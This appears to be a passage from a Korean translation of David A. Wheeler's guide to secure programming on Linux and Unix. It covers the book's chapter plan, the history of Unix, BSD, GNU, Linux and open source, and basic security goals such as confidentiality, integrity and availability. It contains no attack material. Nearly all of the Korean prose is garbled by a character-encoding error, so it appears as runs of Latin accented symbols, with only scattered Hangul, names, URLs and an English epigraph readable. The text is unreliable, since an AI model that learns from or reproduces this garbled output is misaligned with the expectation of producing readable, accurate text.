¿©·¯ºÐÀÇ ÀǰßÀÌ ÃֽйöÀü¿¡ ´ëÇØ Ÿ´çÇÑÁö °Ë»çÇÑ ÈÄ ÀǰßÀ» º¸³»Áֱ⠹ٶõ´Ù.

ÀÌ Ã¥ÀÇ ÀúÀÛ±ÇÀº 1999-2001 David A. Wheeler ¿¡ ÀÖÀ¸¸ç ±× ¶óÀ̼¾½º´Â GNU Free Documentation License (GFDL) ÀÌ´Ù; ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â 부록 C ¿Í 부록 D ¸¦ º¸¶ó.

2장 Àº À¯´Ð½º, ¸®´ª½º ¹× º¸¾È¿¡ ´ëÇÑ ¹è°æÀ» ³íÀÇÇϸç 3장 Àº ÇÁ·Î¼¼½º, ÆÄÀϽýºÅÛ °´Ã¼ µîÀÇ º¸¾È ¼Ó¼º°ú ¿¬»êÀ» °³°ýÀûÀ¸·Î ¼³¸íÇϴµ¥ ÀϹÝÀûÀÎ À¯´Ð½º ¹× ¸®´ª½º º¸¾È ¸ðµ¨À» ±â¼úÇÑ´Ù. ´ÙÀ½ Àå¿¡¼­´Â ÀÌ Ã¥ÀÇ °ñÀÚÀÎ ¸®´ª½º¿Í À¯´Ð½º ½Ã½ºÅÛ¿¡¼­ ¾ÖÇø®ÄÉÀ̼ÇÀ» °³¹ßÇϱâ À§ÇÑ ÀÏ·ÃÀÇ ¼³°è ¹× ±¸Çö ÁöħµéÀ» ³íÀÇÇÑ´Ù. ÀÌ Ã¥Àº 11장¿¡¼­ °á·ÐÀ¸·Î ¸ÅµìÁöÀ¸¸ç ´ÙÀ½¿¡ ÀÌ Ã¥¿¡¼­ ÀοëÇÑ µµ¼­ ¸ñ·Ï°ú ºÎ·ÏÀÌ ³ª¿Â´Ù.

¼³°è ¹× ±¸Çö ÁöħµéÀº ÀúÀÚ°¡ ¹Ï±â¿¡ ÇÁ·Î±×·¡¸ÓÀÇ °üÁ¡¿¡ ÁßÁ¡À» µÐ ¹üÁÖ·Î ³ª´©¾îÁø´Ù. 그림 1-1 ¿¡ º¸ÀÌ´Â °Í°ú °°ÀÌ ÇÁ·Î±×·¥Àº ÀÔ·ÂÀ» ¹Þ°í, µ¥ÀÌŸ¸¦ ó¸®Çϰí, ´Ù¸¥ ÀÚ¿øµéÀ» È£ÃâÇϰí Ãâ·ÂÀ» »êÃâÇÑ´Ù; °³³äÀûÀ¸·Î ¸ðµç º¸¾È ÁöħµéÀº ÀÌ·¯ÇÑ ¹üÁÖµéÁß Çϳª¿Í ÀÏÄ¡Çϴµ¥ ÀúÀÚ´Â ``µ¥ÀÌŸ ó¸®" ¸¦ ÇÁ·Î±×·¥ ³»ºÎ ±¸Á¶È­Çϱâ¿Í Á¢±Ù ¹æ¹ý, ¹öÆÛ ¿À¹öÇ÷οì ÇÇÇϱâ (¾î¶² °æ¿ì ÀÔ·Â ¹®Á¦·Î °í·ÁµÉ ¼ö ÀÖ´Ù), ¾ð¾î¿¡ ƯÁ¤ÀûÀÎ Á¤º¸¿Í Ưº° ÁÖÁ¦·Î ¼¼ºÐÈ­ÇÏ¿´´Ù. °¢ ÀåµéÀº ½±°Ô µû¶ó°¥ ¼ö ÀÖµµ·Ï Á¤¸®µÇ¾ú´Âµ¥ µû¶ó¼­ ÁöħµéÀ» Á¦°øÇÏ´Â °¢ ÀåµéÀº ¸ðµç ÀÔ·Â À¯È¿È­Çϱâ (4장), ¹öÆÛ ¿À¹öÇ÷οì ÇÇÇϱâ (5장), ÇÁ·Î±×·¥ ³»ºÎ ±¸Á¶È­ÇÏ±â ¹× Á¢±Ù ¹æ¹ý (6장), ÁÖÀDZí°Ô ´Ù¸¥ ÀÚ¿øµé È£ÃâÇϱâ (7장), ½ÅÁßÈ÷ Á¤º¸¸¦ µÇµ¹·ÁÁÖ±â (8장), ¾ð¾î¿¡ ƯÁ¤ÀûÀÎ Á¤º¸ (9장) ±×¸®°í ³­¼ö (random number) ¸¦ ¾ò´Â ¹æ¹ý°ú °°Àº Ưº° ÁÖÁ¦¿¡ ´ëÇÑ Á¤º¸ (10장) µéÀ» ³íÀÇÇÑ´Ù.

그림 1-1. Abstract View of a Program


2장. ¹è°æ

 

I issued an order and a search was made, and it was found that this city has a long history of revolt against kings and has been a place of rebellion and sedition.

 Ezra 4:19 (NIV)

2.1. À¯´Ð½º, ¸®´ª½º, ¿ÀÇ ¼Ò½º/ÀÚÀ¯ ¼ÒÇÁÆ®¿þ¾îÀÇ ¿ª»ç

2.1.1. À¯´Ð½º

1969-1970³â »çÀÌ¿¡ AT&T º§ ½ÇÇè½ÇÀÇ Kenneth Thompson, Dennis Ritchie ¿Í µ¿·áµéÀº ¾à°£ »ç¿ëµÇ°í ÀÖ´ø PDP-7 »ó¿¡¼­ ÀÛÀº ¿î¿µ üÁ¦¸¦ °³¹ßÇϱ⠽ÃÀÛÇߴµ¥ ÀÌ´Â °ð MULTICS ¶ó ºÒ¸®´Â ÃʱâÀÇ ¿î¿µÃ¼Á¦ ÇÁ·ÎÁ§Æ®¸¦ ºø´ë¾î À¯´Ð½º (UNIX) ·Î ¸í¸íµÇ¾ú´Ù. 1972-1973³â »çÀÌ¿¡ ½Ã½ºÅÛÀº ½ÇÇöºÒ°¡´ÉÇß´ø µå¹® ¹æ¹ýÀÎ C ÇÁ·Î±×·¡¹Ö ¾ð¾î·Î ÀçÀÛ¼ºµÇ¾ú´Âµ¥ ÀÌ °áÁ¤¶§¹®¿¡ À¯´Ð½º´Â ±× ¿ø·¡ÀÇ Çϵå¿þ¾î·ÎºÎÅÍ ¹Ù²Ü ¼ö ÀÖ°í ±× ¿ø·¡ÀÇ Çϵå¿þ¾î¸¦ ±Øº¹ÇÒ ¼ö ÀÖ´Â ÃÖÃÊÀÇ ³Î¸® »ç¿ëµÇ´Â ¿î¿µÃ¼Á¦°¡ µÇ¾ú´Ù. ´Ù¸¥ Çõ½ÅÀûÀÎ °Íµéµµ ¶ÇÇÑ À¯´Ð½º¿¡ Ãß°¡µÇ¾ú´Âµ¥ À̴ ƯÈ÷ º§ ½ÇÇè½Ç°ú ´ëÇÐ °øµ¿Ã¼ÀÇ »óÈ£ Çùµ¿¿¡ ±âÀÎÇß´Ù. 1979³â À¯´Ð½º 7¹øÂ° ¹öÀü V7 ÀÌ ¹ßÇ¥µÇ¾úÀ¸¸ç ÀÌ´Â ¸ðµç ÇöÁ¸ÇÏ´Â À¯´Ð½º ½Ã½ºÅÛÀÇ ´ëºÎ°ÝÀÌ´Ù.

ÀÌ ½ÃÁ¡ ÀÌÈÄ À¯´Ð½ºÀÇ ¿ª»ç´Â ´Ù¼Ò º¹ÀâÇÏ°Ô µÇ¾ú´Âµ¥ Berkeley °¡ ÁÖµµÇÑ ´ëÇÐ °øµ¿Ã¼°¡ Berkeley Software Fistribution (BSD) ¶ó ºÒ¸®´Â º¯Á¾À» °³¹ßÇÑ ¹Ý¸é AT&T ´Â System III ¿Í ³ªÁß¿¡´Â System IV ¶ó´Â À̸§À¸·Î °è¼ÓÇØ¼­ À¯´Ð½º¸¦ °³¹ßÇß´Ù. 1980³â´ë ÈĹݿ¡¼­ 1990³â´ë Ãʹݿ¡ ÀÌ·¯ÇÑ µÎ °¡Áö Áß¿äÇÑ º¯Çüµé°£ÀÇ ÀüÀïÀº ÃÖ°íÁ¶¿¡ ´ÞÇßÁö¸¸ ¿©·¯ ÇØ°¡ Áö³­ ÈÄ¿¡´Â °¢ º¯ÇüÀÌ ´Ù¸¥ º¯ÇüÀÇ Áß¿ä Æ¯Â¡µéÁß ¸¹Àº ºÎºÐÀ» äÅÃÇÏ¿´´Ù. »ó¾÷ÀûÀ¸·Î System V ´Â ÀÎÅÍÆäÀ̽ºÀÇ ´ëºÎºÐÀÌ Á¤½Ä Ç¥ÁØ¿¡ äÅõÊÀ¸·Î½á Ç¥ÁØ ÀüÀï¿¡¼­ À̰åÀ¸¸ç ´ëºÎºÐÀÇ Çϵå¿þ¾î º¥´õµéÀº AT&T ÀÇ System V ·Î ÀüȯÇÏ¿´´Ù. ±×·¯³ª System V µµ °á±¹ ¸¹Àº BSD Çõ½ÅµéÀ» ¹Þ¾ÆµéÀÌ°Ô µÇ¾úÀ¸¸ç ±×·¡¼­ °á°úÀûÀ¸·Î ½Ã½ºÅÛÀº µÎ ½Ã½ºÅÛÀÇ ÇÕº´ ÀÌ»óÀ̾ú´Ù. BSD ½Ã½ºÅÛµµ »ç¶óÁöÁö ¾Ê¾ÒÀ¸¸ç ´ë½Å ¿¬±¸, PC Çϵå¿þ¾î¿Í ´ÜÀÏ ¸ñÀû ¼­¹ö (¿¹, ¸¹Àº À¥ ¼­¹öµéÀº BSD ¿¡¼­ ÆÄ»ýµÈ ½Ã½ºÅÛÀ» »ç¿ëÇϰí ÀÖ´Ù) ¿ëÀ¸·Î ³Î¸®»ç¿ëµÇ°Ô µÇ¾ú´Ù.

°á°úÀûÀ¸·Î ¿ø·¡ 7¹øÂ° ÆÇ¿¡ ±âÃÊÇÑ ¸¹Àº ¿©·¯°¡Áö À¯´Ð½º ¹öÀüµéÀÌ Á¸ÀçÇÏ°Ô µÇ¾ú´Ù. À¯´Ð½ºÀÇ ´ëºÎºÐ ¹öÀüµéÀº Àç»ê±ÇÀÌ ÀÖÀ¸¸ç °¢°¢ÀÇ Çϵå¿þ¾î º¥´õ¿¡ ÀÇÇØ °ü¸®µÇ¾ú´Âµ¥ ¿¹¸¦ µé¾î ½ã ¼Ö¶ó¸®´Â System V ÀÇ º¯ÇüÀÌ´Ù. BSD ÁÙ±âÀÇ ¼¼°¡Áö ¹öÀüµéÀº °á±¹ ¿ÀÇÁ ¼Ò½º°¡ µÇ¾úÀ¸¸ç À̵éÀº °¢°¢ PC ŸÀÔÀÇ Çϵå¿þ¾î¿¡ ¼Õ½¬¿î ¼³Ä¡¿¡ ÁßÁ¡À» µÐ FreeBSD, ¸¹Àº ¿©·¯°¡Áö CPU ¾ÆÅ°ÅØÃÄ¿¡ ÁßÁ¡À» µÐ NetBSD ¿Í º¸¾È¿¡ ÁßÁ¡À» µÐ OpenBSD ÀÌ´Ù. À¯´Ð½º ¿ª»ç¿¡ ´ëÇÑ ´õ¿í ÀϹÝÀûÀÎ Á¤º¸´Â http://www.datametrics.com/tech/unix/uxhistry/brf-hist.htm ¿Í http://perso.wanadoo.fr/levenez/unix ¿¡¼­ ãÀ» ¼ö ÀÖ´Ù. BSD ¿ª»ç¿¡ ´ëÇÑ ´õ¿í ¸¹Àº Á¤º¸´Â [McKusick 1999] ¿Í ftp://ftp.freebsd.org/pub/FreeBSD/FreeBSD-current/src/share/misc/bsd-family-tree ¿¡¼­ ãÀ» ¼ö ÀÖ´Ù.

À¯´Ð½º °è¿­ ½Ã½ºÅÛ »ç¿ë¿¡ ´ëÇÑ Âù¼º·ÐÀ» ¼³¸íÇϰí ÀÖ´Â ÁöÁö ±â»ç¸¦ ÀÐ°í ½ÍÀº »ç¶÷µéÀº http://www.unix-vs-nt.org ¸¦ º¸¾Æ¾ß ÇÑ´Ù.


2.1.2. ÀÚÀ¯ ¼ÒÇÁÆ®¿þ¾î Àç´Ü

1984³â Richard Stallman ÀÇ ÀÚÀ¯ ¼ÒÇÁÆ®¿þ¾î Àç´Ü (Free Software Foundation, FSF) Àº À¯´Ð½º ¿î¿µÃ¼Á¦ÀÇ ¹«·á ¹öÀüÀ» ¸¸µé±â À§ÇØ GNU ÇÁ·ÎÁ§Æ®¸¦ ½ÃÀÛÇߴµ¥ Stallman Àº ÀÚÀ¯·ÎÀÌ »ç¿ëµÉ ¼ö ÀÖ°í, ÀÐÇôÁú ¼ö ÀÖ°í, ¼öÁ¤µÉ ¼ö ÀÖ°í, Àç¹èÆ÷µÉ ¼ö ÀÖ´Â ¼ÒÇÁÆ®¿þ¾îÀÇ Àǹ̷Πfree ¸¦ »ç¿ëÇß´Ù. FSF ´Â C ÄÄÆÄÀÏ·¯ (gcc), ÅØ½ºÆ® ¿¡µðÅÍ (emacs) ¿Í ¸¹Àº ±âº»ÀûÀÎ µµ±¸¸¦ Æ÷ÇÔÇØ ¾öû³ª°Ô ¸¹Àº À¯¿ëÇÑ ÄÄÆ÷³ÍÆ®µé ¼º°øÀûÀ¸·Î ±¸ÃàÇÏ¿´´Ù. ±×·¯³ª 1990³â´ë FSF ´Â ¿î¿µÃ¼Á¦ Ä¿³ÎÀ» °³¹ßÇϴµ¥ ¾î·Á¿òÀ» °Þ¾úÀ¸¸ç Ä¿³ÎÀÌ ¾ø´Ù¸é ±×µéÀÇ ³ª¸ÓÁö ¼ÒÇÁÆ®¿þ¾îµéÀº ¼Ò¿ë¾ø¾úÀ» °ÍÀÌ´Ù.


2.1.3. ¸®´ª½º

1991³â Linus Torvalds ´Â ``¸®´ª½º"¶ó°í À̸§ÁöÀº ¿î¿µÃ¼Á¦ Ä¿³ÎÀ» °³¹ßÇϱ⠽ÃÀÛÇß´Ù [Torvalds 1999]. ÀÌ Ä¿³ÎÀº ÀÚÀ¯·ÎÀÌ ¼öÁ¤µÉ ¼ö ÀÖ°í ¸Å¿ì À¯¿ëÇÑ ¿î¿µÃ¼Á¦¸¦ ¸¸µé±â À§ÇØ FSF »ê¹°°ú ´Ù¸¥ ÄÄÆ÷³ÍÆ®µé (ƯÈ÷ BSD ÄÄÆ÷³ÍÆ®µéÀÇ ÀÏºÎ¿Í MIT ÀÇ X À©µµ¿ì ¼ÒÇÁÆ®¿þ¾î) °ú º´ÇÕµÉ ¼ö ÀÖ¾ú´Âµ¥ ÀÌ Ã¥¿¡¼­ Ä¿³Î ÀÚü´Â ``¸®´ª½º Ä¿³Î"·Î Àüü °áÇÕÀº ``¸®´ª½º"·Î ÁöĪÇÒ °ÍÀÌ´Ù. ¸¹Àº »ç¶÷µéÀº ´ë½Å ``GNU/Linux" ¶ó´Â ¿ë¾î¸¦ »ç¿ëÇÔÀ» ÁÖ¸ñÇØ¶ó.

¸®´ª½º °øµ¿Ã¼¿¡¼­ ¿©·¯ Á¶Á÷µéÀº »ç¿ëÇÒ ¼ö ÀÖ´Â ÄÄÆ÷³ÍÆ®µéÀ» ´Ù¸£°Ô Á¶ÇÕÇÏ¿´´Âµ¥ °¢ Á¶ÇÕÀº ``¹èÆ÷ÆÇ"À¸·Î ºÎ¸£¸ç ¹èÆ÷ÆÇµéÀ» °³¹ßÇÑ Á¶Á÷µéÀº ``¹èÆ÷¾÷ÀÚ"¶ó°í ºÎ¸¥´Ù. ÀϹÝÀûÀ¸·Î ³Î¸® ¾Ë·ÁÁø ¹èÆ÷ÆÇÀ¸·Î´Â ·¹µåÇÞ (Red Hat), ¸Çµå·¹ÀÌÅ© (Mandrake), ¼öÁ¦ (SuSE), Ä®µ¥¶ó (Caldera), ÄÚ·¼ (Corel) ¹× µ¥ºñ¾È (Debian) ÀÌ ÀÖ´Ù. ´Ù¾çÇÑ ¹èÆ÷ÆÇµé°£¿¡´Â Â÷ÀÌÁ¡µéÀÌ ÀÖÁö¸¸ ¸ðµç ¹èÆ÷ÆÇµéÀº µ¿ÀÏÇÑ ±â¹ÝÀÎ ¸®´ª½º Ä¿³Î ¹× GNU glibc ¶óÀ̺귯¸®µé¿¡ ±âÃÊÇϰí ÀÖ´Ù. µÎ°¡Áö ¸ðµÎ´Â ``copyleft" ½ºÅ¸ÀÏÀÇ ¶óÀ̼¾½º·Î ´Ù·ïÁö±â ¶§¹®¿¡ ÀÌ·¯ÇÑ ±â¹Ý¿¡ ´ëÇÑ º¯°æÀº ÀϹÝÀûÀ¸·Î ¸ðµç »ç¶÷ÀÌ »ç¿ëÇÒ ¼ö ÀÖ¾î¾ß ÇÑ´Ù. ÀÌ´Â BSD ¿Í AT&T ¿¡¼­ ÆÄ»ýµÈ À¯´Ð½º ½Ã½ºÅÛ°£¿¡´Â Á¸ÀçÇÏÁö ¾Ê´Â ¸®´ª½º¸¸ÀÇ ±â¹Ý¿¡¼­ ¸®´ª½º ¹èÆ÷ÆÇµéÀ» ÅëÇÕ½ÃŰ´Â ÈûÀÌ ¿øÃµÀÌ´Ù. ÀÌ Ã¥Àº ƯÁ¤ ¸®´ª½º ¹èÆ÷ÆÇ¿¡ °íÀ¯ÇÑ °ÍÀº ¾Æ´Ï¸ç ¸®´ª½º¸¦ ³íÀÇÇÒ ¶§ ÀÌ Ã¥Àº º»ÁúÀûÀ¸·Î ¸ðµç ÇöÀç ÁÖ¿ä ¸®´ª½º ¹èÆ÷ÆÇµé¿¡ ´ëÇØ À¯È¿ÇÑ °¡Á¤ÀÎ ¸®´ª½º Ä¿³Î ¹öÀü 2.2 ÀÌ»ó°ú C ¶óÀ̺귯¸® glibc 2.1 ÀÌ»óÀ» °¡Á¤ÇÑ´Ù.


2.1.4. ¿ÀÇ ¼Ò½º/ÀÚÀ¯ ¼ÒÇÁÆ®¿þ¾î

ÀÚÀ¯·ÎÀÌ °øÀ¯µÇ´Â ¼ÒÇÁÆ®¿þ¾î¿¡ ´ëÇÑ °ü½ÉÀÌ Áõ°¡ÇÔ¿¡ µû¶ó ÀÌ¿¡ ´ëÇÑ Á¤ÀÇ ¹× ¼³¸íÀÌ ´õ¿í ´õ ÇÊ¿äÇÏ°Ô µÇ¾ú´Ù. ³Î¸® »ç¿ëµÇ´Â ¿ë¾î´Â ``¿ÀÇ ¼Ò½º ¼ÒÇÁÆ®¿þ¾î"·Î [OSI 1999] ³»¿¡ ´õ¿í ÀÚ¼¼ÇÏ°Ô Á¤ÀǵǾî ÀÖ´Ù. Eric Raymond [1997, 1998] Àº ´Ù¾çÇÑ °³¹ß °úÁ¤µéÀ» °íÂûÇÑ ¸î¸îÀÇ µ¶Ã¢¼ºÀÖ´Â ±â»çµéÀ» ÀÛ¼ºÇß´Ù. ´Ù¸¥ ³Î¸® »ç¿ëµÇ´Â ¿ë¾î´Â ``ÀÚÀ¯ ¼ÒÇÁÆ®¿þ¾î (free software)" ·Î ``free" ´Â ``freedom" À» ³ªÅ¸³»´Âµ¥ º¸Åë ¼³¸íÀº ``free beer °¡ ¾Æ´Ñ free speech" ÀÌ´Ù. ±×·¯³ª µÎ Ç¥Çö ¸ðµÎ ¿Ïº®ÇÑ °ÍÀº ¾Æ´Ï´Ù. ``ÀÚÀ¯ ¼ÒÇÁÆ®¿þ¾î"¶ó´Â ¿ë¾î´Â ´ë°³ ½ÇÇàÆÄÀÏÀº ¹«·á·Î Á¦°øµÇÁö¸¸ ¼Ò½º Äڵ带 º¼ ¼ö ¾ø°í, ¼öÁ¤ÇÒ ¼ö ¾ø°í ¶Ç´Â Àç¹èÆ÷ÇÒ ¼ö ¾ø´Â ÇÁ·Î±×·¥µé°ú È¥µ¿µÈ´Ù. ¹Ý´ë·Î ``¿ÀÇ ¼Ò½º"¶ó´Â ¿ë¾î´Â ¶§¶§·Î ¼Ò½º Äڵ带 º¼ ¼ö´Â ÀÖÁö¸¸ »ç¿ë, ¼öÁ¤ ¶Ç´Â Àç¹èÆ÷¿¡ Á¦ÇÑÀÌ ÀÖ´Â ¼ÒÇÁÆ®¿þ¾î¸¦ ÀǹÌÇϴµ¥ »ç¿ë (¾Ç¿ë) µÇ°í ÀÖ´Ù. ÀÌ Ã¥Àº º¸ÅëÀÇ Áï, ¼Ò½º ÄÚµåÀÇ »ç¿ë, º¸±â, ¼öÁ¤ ¹× Àç¹èÆ÷¸¦ ÀÚÀ¯·ÎÀÌ ÇÒ ¼ö ÀÖ´Â ¼ÒÇÁÆ®¿þ¾î¿¡ ´ëÇØ ``¿ÀÇ ¼Ò½º"¶ó´Â ¿ë¾î¸¦ »ç¿ëÇÑ´Ù; ´õ¿í ¼¼ºÎÀûÀÎ Á¤ÀÇ´Â Open Source Definition ¿¡ Æ÷ÇԵǾî ÀÖ´Ù. ¾î¶² °æ¿ì ¸ñÀûÀÇ Â÷À̰¡ Á¦¾ÈµÇ°í Àִµ¥ ``ÀÚÀ¯ ¼ÒÇÁÆ®¿þ¾î"¶ó´Â ¿ë¾î¸¦ ¼±È£ÇÏ´Â »ç¶÷µéÀº ÀÚÀ¯ÀÇ Çʿ伺À» °­·ÂÈ÷ °­Á¶ÇÏ±æ ¹Ù¶ó´Â ¹Ý¸é ´Ù¸¥ »ç¶÷µéÀº ´Ù¸¥ ¸ñÀû (¿¹, ³ôÀº ½Å·Ú¼º) ¸¦ °¡Áö°Å³ª ´Ü¼øÈ÷ ´ú ºÒÄèÇÏ°Ô º¸ÀÌ°í ½ÍÀ» ¼öµµ ÀÖ´Ù. ÀÚÀ¯ ¼ÒÇÁÆ®¿þ¾î Á¤ÀÇ¿Í ±× À̸鿡 ¼û°ÜÁ® ÀÖ´Â ¸ñÀû¿¡ ´ëÇÑ Á¤º¸´Â http://www.fsf.org ¿¡¼­ ãÀ» ¼ö ÀÖ´Ù.

¿ÀÇ ¼Ò½º ¼ÒÇÁÆ®¿þ¾î¿Í ÀÚÀ¯ ¼ÒÇÁÆ®¿þ¾î¿¡ ´ëÇÑ ÁöÁö ±â»çµéÀ» ÀÐ°í ½ÍÀº »ç¶÷µéÀº http://www.opensource.org ¿Í http://www.fsf.org ¸¦ º¸¾Æ¾ß ÇÑ´Ù. ±×·¯ÇÑ ¼ÒÇÁÆ®¿þ¾î¸¦ °íÂûÇÑ ´Ù¸¥ ¹®¼­µéµµ Àִµ¥ ¿¹¸¦ µé¾î Miller [1995] ´Â ¿ÀÇ ¼Ò½º ¼ÒÇÁÆ®¿þ¾î°¡ ÁöÀû Àç»ê±ÇÀÌ ÀÖ´Â ¼ÒÇÁÆ®¿þ¾îº¸´Ù ´õ¿í ÇöÀúÇÏ°Ô ½Å·ÚÇÒ ¼ö ÀÖÀ½À» ¹ß°ßÇß´Ù (ÀÓÀÇÀÇ ÀԷ¶§¹®¿¡ »ý±â´Â ÆÄ¼Õ¿¡ ´ëÇØ ¾ó¸¶³ª ÀúÇ×ÇÏ´ÂÁö¸¦ ÃøÁ¤ÇÏ´Â ¼ö´ÜÀ» »ç¿ëÇÏ¿´´Ù).


2.1.5. ¸®´ª½º¿Í À¯´Ð½º ºñ±³

ÀÌ Ã¥Àº ÀǵµÀûÀ¸·Î À¯´Ð½º¿Í °°Àº ½Ã½ºÅÛÀ» ±â¼úÇϱâ À§ÇØ ``À¯´Ð½º °è¿­ (Unix-like)" À̶ó´Â ¿ë¾î¸¦ »ç¿ëÇÑ´Ù. ƯÈ÷ À¯´Ð½º °è¿­Àº ¸ðµç ÁÖ¿ä À¯´Ð½º º¯Çüµé°ú ¸®´ª½º ¹èÆ÷ÆÇµéÀ» Æ÷ÇÔÇÑ´Ù. ¸¹Àº »ç¶÷µéÀÌ ÀÌ·¯ÇÑ ½Ã½ºÅÛµéÀ» ±â¼úÇϱâ À§ÇØ ´Ü¼øÈ÷ ``À¯´Ð½º"¶ó´Â ¿ë¾î¸¦ »ç¿ëÇÔÀ» ÁÖ¸ñÇØ¶ó. ¿ø·¡ ``À¯´Ð½º" ¶ó´Â ¿ë¾î´Â AT&T ¿¡ ÀÇÇØ °³¹ßµÈ ƯÁ¤ Á¦Ç°À» ÀǹÌÇß´Ù. ¿À´Ã³¯ ¿ÀÇ ±×·ìÀÌ À¯´Ð½º »óÇ¥±ÇÀ» ¼ÒÀ¯Çϰí ÀÖÀ¸¸ç À¯´Ð½º¸¦ ``worldwide Single UNIX Specification" À¸·Î Á¤ÀÇÇϰí ÀÖ´Ù.

¸®´ª½º°¡ À¯´Ð½º ¼Ò½º Äڵ忡¼­ ÆÄ»ýµÇÁö ¾Ê¾ÒÁö¸¸ ±× ÀÎÅÍÆäÀ̽º´Â ÀǵµÀûÀ¸·Î À¯´Ð½º¿Í °°´Ù. µû¶ó¼­ À¯´Ð½º¿¡¼­ ¹è¿î ±³ÈÆÀÌ º¸¾È¿¡ ´ëÇÑ Á¤º¸¸¦ Æ÷ÇÔÇØ ÀϹÝÀûÀ¸·Î µÑ ¸ðµÎ¿¡ Àû¿ëµÈ´Ù. ÀÌ Ã¥¿¡¼­ Á¤º¸ÀÇ ´ëºÎºÐÀº ¸ðµç À¯´Ð½º °è¿­ ½Ã½ºÅÛ¿¡ Àû¿ëµÇ´Âµ¥ ¸®´ª½º¿¡ ƯÁ¤ÀûÀÎ Á¤º¸°¡ ¸®´ª½º¸¦ »ç¿ëÇÏ´Â »ç¶÷µéÀÌ ¸®´ª½ºÀÇ ´É·ÂÀ» »ç¿ëÇÒ ¼ö ÀÖ°Ô ÇÏ·Á°í ÀǵµÀûÀ¸·Î Ãß°¡µÇ¾ú´Ù.

À¯´Ð½º °è¿­ ½Ã½ºÅÛµéÀº ¸¹Àº º¸¾È ¸ÞÄ«´ÏÁòµéÀ» °øÀ¯ÇÑ´Ù. ¹°·Ð ÀÌ ¸ÞÄ«´ÏÁòµéÀº ¹Ì¹¦ÇÑ Â÷À̰¡ ÀÖ°í ¸ðµç ½Ã½ºÅ۵鿡¼­ ¸ðµç ¸ÞÄ«´ÏÁòÀ» »ç¿ëÇÒ ¼ö´Â ¾ø´Ù. ¸ðµç ½Ã½ºÅÛµéÀº °¢ ÇÁ·Î¼¼½º¿¡ ´ëÇÑ »ç¿ëÀÚ ¹× ±×·ì ids (uids ¹× gids) ¿Í user, group ¿Í other ¿¡ ´ëÇÑ Àбâ, ¾²±â¿Í ½ÇÇàÇϱâ Çã°¡¸¦ °®´Â ÆÄÀϽýºÅÛÀ» Æ÷ÇÔÇϰí ÀÖ´Ù. ±âº» º¸¾È ¸ÞÄ«´ÏÁòÀ» Æ÷ÇÔÇØ À¯´Ð½º ½Ã½ºÅÛ¿¡ ´ëÇÑ ÀϹÝÀûÀÎ Á¤º¸´Â Thompson [1974] ¿Í Bach [1986] À» º¸¶ó. 3장Àº À¯´Ð½º¿Í ¸®´ª½ºÀÇ ÁÖ¿ä º¸¾È Ư¡À» ¿ä¾àÇÑ´Ù.


2.2. º¸¾È ¿ø¸®

Àß ¾Ë°í ÀÖ¾î¾ß ÇÏ´Â ¸¹Àº ÀϹÝÀûÀÎ º¸¾È ¿ø¸®µéÀÌ ÀÖ´Ù; Á¤º¸ º¸¾È¿¡ ´ëÇÑ ÀϹÝÀûÀÎ Á¤º¸¸¦ ¾òÀ» ¼ö ÀÖ´Â ÇÑ °÷Àº Information Assurance Technical Framework (IATF) [NSA 2000] ÀÌ´Ù. NIST ´Â ³ôÀº ¼öÁØÀÇ ``ÀϹÝÀûÀ¸·Î ÀÎÁ¤µÈ ¿ø¸®¿Í ½ÇÁ¦ (generally accepted principles and practices)" À» ½Äº°ÇÏ¿´´Ù [Swanson 1996]. [Pfleeger 1997] °°Àº ÄÄÇ»ÅÍ º¸¾È¿¡ ´ëÇÑ ÀϹÝÀûÀÎ ±³Àçµµ ¶ÇÇÑ º¼ ¼ö ÀÖ´Ù. ¾à°£ÀÇ º¸¾È ¿ø¸®µéÀº ´ÙÀ½°ú °°ÀÌ ¿ä¾àµÈ´Ù:

´ë°³ ÄÄÇ»ÅÍ º¸¾ÈÀÇ ¸ñÀûÀº ´ÙÀ½ ¼¼°¡Áö Àü¹ÝÀûÀÎ ¸ñÀû¿¡ ÀÇÇØ ±â¼úµÈ´Ù:

  • ±â¹Ð¼º (confidentiality, ¶ÇÇÑ secrecy). ÄÄÇ»ÆÃ ½Ã½ºÅÛ ÀÚ»êÀº ´ÜÁö Àΰ¡µÈ »ç¶÷µé¿¡ ÀÇÇØ¼­¸¸ Á¢±ÙµÈ´Ù.

  • ¹«°á¼º (integrity). ½Ã½ºÅÛ ÀÚ»êÀº ´ÜÁö Àΰ¡µÈ »ç¶÷µé¿¡ ÀÇÇØ Àΰ¡µÈ ¹æ½ÄÀ¸·Î¸¸ º¯°æµÉ ¼ö ÀÖ´Ù.

  • °¡¿ë¼º (availability). Àΰ¡µÈ »ç¶÷µéÀº (½Ã½ºÅÛ »ç¾ç¿¡ ÀÇÇØ °áÁ¤µÇ´Â) ºü¸¥ ¼Óµµ·Î Àڻ꿡 Á¢±ÙÇÒ ¼ö ÀÖ´Ù. ÀÌ ¸ñÀûÀ» ÃæÁ·½ÃŰÁö ¸øÇÏ´Â °ÍÀ» ¼­ºñ½º ºÎÀÎÀ̶ó ºÎ¸¥´Ù.

¾î¶² »ç¶÷µéÀº Ãß°¡ÀûÀÎ º¸¾È ¸ñÀûÀ» Á¤ÀÇÇÏ´Â ¹Ý¸é ´Ù¸¥ »ç¶÷µéÀº ÀÌ·¯ÇÑ Ãß°¡ÀûÀÎ ¸ñÀûÀ» À§ ¼¼°¡Áö ¸ñÀûÀÇ Æ¯º°ÇÑ °æ¿ì·Î ÀÏ·üÀûÀ¸·Î Ãë±ÞÇÑ´Ù. ¿¹¸¦ µé¾î ¾î¶² »ç¶÷Àº ºÎÀÎ ¹æÁö (non-repudiation) ¸¦ º°µµÀÇ ¸ñÀûÀ¸·Î ºÐ·ùÇϴµ¥ ÀÌ´Â ¼Û½ÅÀÚ¿Í ¼ö½ÅÀÚ°¡ ³ªÁß¿¡ ºÎÀÎÇÒ ¼ö ÀÖÀ½¿¡µµ ºÒ±¸ÇÏ°í °¢°¢ ¸Þ½ÃÁö¸¦ Àü¼Û ¹× ¼ö½ÅÇßÀ½À» ``ÀÔÁõ"ÇÏ´Â ´É·ÂÀÌ´Ù. ÇÁ¶óÀ̹ö½Ã´Â ¶§¶§·Î ±â¹Ð¼º°ú º°µµ·Î ´Ù·ïÁö´Âµ¥ ¾î¶² »ç¶÷Àº À̸¦ µ¥ÀÌŸ ´ë½Å »ç¿ëÀÚ (¿¹, ±×µéÀÇ ½Å¿ø) ÀÇ ±â¹Ð¼º º¸È£·Î Á¤ÀÇÇÑ´Ù. ´ëºÎºÐÀÇ ¸ñÀûµéÀº ½Äº° (identification) °ú ÀÎÁõÀ» 